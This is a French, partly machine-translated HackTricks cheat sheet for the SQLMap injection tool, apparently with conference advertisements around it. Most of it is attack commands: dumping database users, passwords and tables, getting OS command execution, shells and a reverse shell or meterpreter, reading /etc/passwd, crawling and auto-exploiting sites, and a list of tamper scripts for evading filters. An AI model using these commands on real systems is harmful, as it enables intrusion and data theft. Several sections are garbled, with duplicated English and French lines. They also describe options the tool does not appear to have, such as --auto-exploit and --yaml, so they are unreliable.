27 KiB
SQLMap - Fiche de triche
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
DragonJAR Security Conference est un événement international de cybersécurité avec plus d'une décennie d'existence qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:
{% embed url="https://www.dragonjarcon.org/" %}
Arguments de base pour SQLmap
Générique
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Récupérer des informations
Interne
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
Données de la base de données
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Emplacement de l'injection
À partir de la capture Burp/ZAP
Capturez la requête et créez un fichier req.txt.
sqlmap -r req.txt --current-user
Injection de requête GET
Basic Usage
Utilisation de base
python sqlmap.py -u "http://target.com/page.php?id=1" --dbs
Injecting into GET parameters
Injection dans les paramètres GET
The most common injection point is the URL query string. SQLMap can automatically detect and exploit this injection point.
Le point d'injection le plus courant est la chaîne de requête de l'URL. SQLMap peut détecter et exploiter automatiquement ce point d'injection.
python sqlmap.py -u "http://target.com/page.php?id=1" --dbs
Injecting into cookies
Injection dans les cookies
SQLMap can also inject into cookies. This can be done using the --cookie
option.
SQLMap peut également injecter dans les cookies. Cela peut être fait en utilisant l'option --cookie
.
python sqlmap.py -u "http://target.com/page.php" --cookie="PHPSESSID=1234abcd" --dbs
Injecting into headers
Injection dans les en-têtes
SQLMap can also inject into headers. This can be done using the --headers
option.
SQLMap peut également injecter dans les en-têtes. Cela peut être fait en utilisant l'option --headers
.
python sqlmap.py -u "http://target.com/page.php" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" --dbs
Injecting into multiple parameters
Injection dans plusieurs paramètres
SQLMap can inject into multiple parameters at once. This can be done using the --params
option.
SQLMap peut injecter dans plusieurs paramètres à la fois. Cela peut être fait en utilisant l'option --params
.
python sqlmap.py -u "http://target.com/page.php?id=1&name=admin" --params="id,name" --dbs
Injecting into POST requests
Injection dans les requêtes POST
SQLMap can also inject into POST requests. This can be done using the --data
option.
SQLMap peut également injecter dans les requêtes POST. Cela peut être fait en utilisant l'option --data
.
python sqlmap.py -u "http://target.com/page.php" --data="id=1&name=admin" --dbs
Injecting into JSON data
Injection dans les données JSON
SQLMap can also inject into JSON data. This can be done using the --json
option.
SQLMap peut également injecter dans les données JSON. Cela peut être fait en utilisant l'option --json
.
python sqlmap.py -u "http://target.com/page.php" --json='{"id":1,"name":"admin"}' --dbs
Injecting into XML data
Injection dans les données XML
SQLMap can also inject into XML data. This can be done using the --xml
option.
SQLMap peut également injecter dans les données XML. Cela peut être fait en utilisant l'option --xml
.
python sqlmap.py -u "http://target.com/page.php" --xml='<data><id>1</id><name>admin</name></data>' --dbs
Injecting into YAML data
Injection dans les données YAML
SQLMap can also inject into YAML data. This can be done using the --yaml
option.
SQLMap peut également injecter dans les données YAML. Cela peut être fait en utilisant l'option --yaml
.
python sqlmap.py -u "http://target.com/page.php" --yaml='{"id":1,"name":"admin"}' --dbs
Injecting into multipart/form-data
Injection dans multipart/form-data
SQLMap can also inject into multipart/form-data
. This can be done using the --file
option.
SQLMap peut également injecter dans multipart/form-data
. Cela peut être fait en utilisant l'option --file
.
python sqlmap.py -u "http://target.com/page.php" --file="file=@/path/to/file" --dbs
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Injection de requête POST
Basic POST request injection
Injection de requête POST basique
The basic usage of sqlmap with POST request is the following:
L'utilisation basique de sqlmap avec une requête POST est la suivante :
sqlmap -u "http://target.com/page.php" --data "param1=value1¶m2=value2" --method POST
POST request with a JSON payload
Requête POST avec une charge utile JSON
If the POST request has a JSON payload, you can use the --data
option with the payload in a single quote:
Si la requête POST a une charge utile JSON, vous pouvez utiliser l'option --data
avec la charge utile dans une seule citation :
sqlmap -u "http://target.com/page.php" --data '{"param1":"value1","param2":"value2"}' --method POST
POST request with a file payload
Requête POST avec une charge utile de fichier
If the POST request has a file payload, you can use the --data
option with the payload in a @filename
format:
Si la requête POST a une charge utile de fichier, vous pouvez utiliser l'option --data
avec la charge utile dans un format @nomdufichier
:
sqlmap -u "http://target.com/page.php" --data @payload.txt --method POST
POST request with a custom header
Requête POST avec un en-tête personnalisé
If the POST request has a custom header, you can use the --headers
option with the header in a single quote:
Si la requête POST a un en-tête personnalisé, vous pouvez utiliser l'option --headers
avec l'en-tête dans une seule citation :
sqlmap -u "http://target.com/page.php" --data "param1=value1¶m2=value2" --headers 'X-Custom-Header: value' --method POST
POST request with a cookie
Requête POST avec un cookie
If the POST request has a cookie, you can use the --cookie
option with the cookie value:
Si la requête POST a un cookie, vous pouvez utiliser l'option --cookie
avec la valeur du cookie :
sqlmap -u "http://target.com/page.php" --data "param1=value1¶m2=value2" --cookie "cookie=value" --method POST
POST request with a referer
Requête POST avec un référent
If the POST request has a referer, you can use the --referer
option with the referer value:
Si la requête POST a un référent, vous pouvez utiliser l'option --referer
avec la valeur du référent :
sqlmap -u "http://target.com/page.php" --data "param1=value1¶m2=value2" --referer "http://referer.com" --method POST
POST request with a user-agent
Requête POST avec un agent utilisateur
If the POST request has a user-agent, you can use the --user-agent
option with the user-agent value:
Si la requête POST a un agent utilisateur, vous pouvez utiliser l'option --user-agent
avec la valeur de l'agent utilisateur :
sqlmap -u "http://target.com/page.php" --data "param1=value1¶m2=value2" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" --method POST
sqlmap -u "http://example.com" --data "username=*&password=*"
Injections dans les en-têtes et autres méthodes HTTP
Headers
En-têtes
The --headers
option allows you to specify custom headers to be sent in the request. This can be useful for testing injections in headers such as User-Agent
, Referer
, Cookie
, etc.
L'option --headers
vous permet de spécifier des en-têtes personnalisés à envoyer dans la requête. Cela peut être utile pour tester des injections dans les en-têtes tels que User-Agent
, Referer
, Cookie
, etc.
For example:
Par exemple:
sqlmap -u "http://example.com" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
Other HTTP Methods
Autres méthodes HTTP
SQL injection can also occur in other HTTP methods besides GET
and POST
, such as PUT
, DELETE
, OPTIONS
, etc. To test for injections in these methods, use the --method
option.
L'injection SQL peut également se produire dans d'autres méthodes HTTP que GET
et POST
, telles que PUT
, DELETE
, OPTIONS
, etc. Pour tester les injections dans ces méthodes, utilisez l'option --method
.
For example:
Par exemple:
sqlmap -u "http://example.com" --method=PUT --data="id=1&name=test"
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Indiquer la chaîne lorsque l'injection est réussie
--string="string_showed_when_TRUE"
Eval
Sqlmap permet l'utilisation de -e
ou --eval
pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela rend très facile et rapide le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la session de cookie flask est signée par flask avec le secret connu avant de l'envoyer :
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Shell
Coquille
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Lire un fichier
La commande --file-read
permet de lire le contenu d'un fichier sur le serveur distant. Pour utiliser cette commande, il faut spécifier le chemin absolu du fichier à lire en utilisant l'option -r
ou --rootdir
. Par exemple:
sqlmap -r /chemin/absolu/du/fichier --file-read="/chemin/du/fichier/a/lire"
Cette commande peut être utilisée pour lire des fichiers contenant des informations sensibles, telles que des identifiants de connexion à la base de données ou des clés d'API.
--file-read=/etc/passwd
Parcourir un site web avec SQLmap et auto-exploiter
SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités et les exploiter automatiquement. Voici comment faire :
-
Commencez par lancer une analyse de base du site web avec la commande suivante :
sqlmap -u <URL> --crawl=1
Cette commande va parcourir le site web et collecter des informations sur les paramètres de l'URL et les formulaires.
-
Une fois que l'analyse de base est terminée, vous pouvez lancer une analyse plus approfondie avec la commande suivante :
sqlmap -u <URL> --crawl=1 --level=5 --risk=3 --batch --auto-exploit
Cette commande va parcourir le site web avec un niveau de profondeur de 5 et un niveau de risque de 3. Elle va également exécuter automatiquement les exploits pour les vulnérabilités trouvées.
-
Attendez que l'analyse soit terminée. SQLmap affichera les vulnérabilités trouvées et les exploits exécutés avec succès.
-
Vous pouvez maintenant utiliser les informations collectées pour exploiter les vulnérabilités et accéder aux données sensibles du site web.
N'oubliez pas que l'utilisation de SQLmap pour exploiter des vulnérabilités sans autorisation est illégale et peut entraîner des poursuites judiciaires. Utilisez cet outil uniquement à des fins éthiques et légales.
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Injection de second ordre
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Lisez cet article sur comment effectuer des injections de second ordre simples et complexes avec sqlmap.
DragonJAR Security Conference est un événement international de cybersécurité qui a plus d'une décennie et qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:
{% embed url="https://www.dragonjarcon.org/" %}
Personnalisation de l'injection
Définir un suffixe
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Préfixe
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Aide pour trouver une injection booléenne
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Altération
Rappelez-vous que vous pouvez créer votre propre altération en python et c'est très simple. Vous pouvez trouver un exemple d'altération dans la page Injection de Second Ordre ici.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Description |
---|---|
apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur |
apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal |
appendnullbyte.py | Ajoute un octet NULL encodé à la fin de la charge utile |
base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' |
bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère blanc valide aléatoire. Ensuite, remplace le caractère = par l'opérateur LIKE |
chardoubleencode.py | Encode en double URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
commalesslimit.py | Remplace les occurrences de 'LIMIT M, N' par 'LIMIT N OFFSET M' |
commalessmid.py | Remplace les occurrences de 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
concat2concatws.py | Remplace les occurrences de 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
charunicodeencode.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "%u0022" |
charunicodeescape.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "\u0022" |
equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
escapequotes.py | Échappe les guillemets (' et ") |
greatest.py | Remplace l'opérateur supérieur à ('>') par son homologue GREATEST |
halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
ifnull2ifisnull.py | Remplace les occurrences de 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à version zéro |
multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple .replace("SELECT", "")) filtres |
percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère |
overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire |
randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
securesphere.py | Ajoute une chaîne spécialement conçue |
sp_password.py | Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS |
space2comment.py | Remplace l'espace (' ') par des commentaires |
space2dash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
space2hash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
space2morehash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
space2mssqlblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
space2mssqlhash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') |
space2mysqlblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
space2mysqldash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une nouvelle ligne ('\n') |
space2plus.py | Remplace l'espace (' ') par un signe plus ('+') |
space2randomblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et |
unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour que cela fonctionne) |
uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
DragonJAR Security Conference est un événement international de cybersécurité qui se tient depuis plus d'une décennie et aura lieu les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence ! :
{% embed url="https://www.dragonjarcon.org/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hack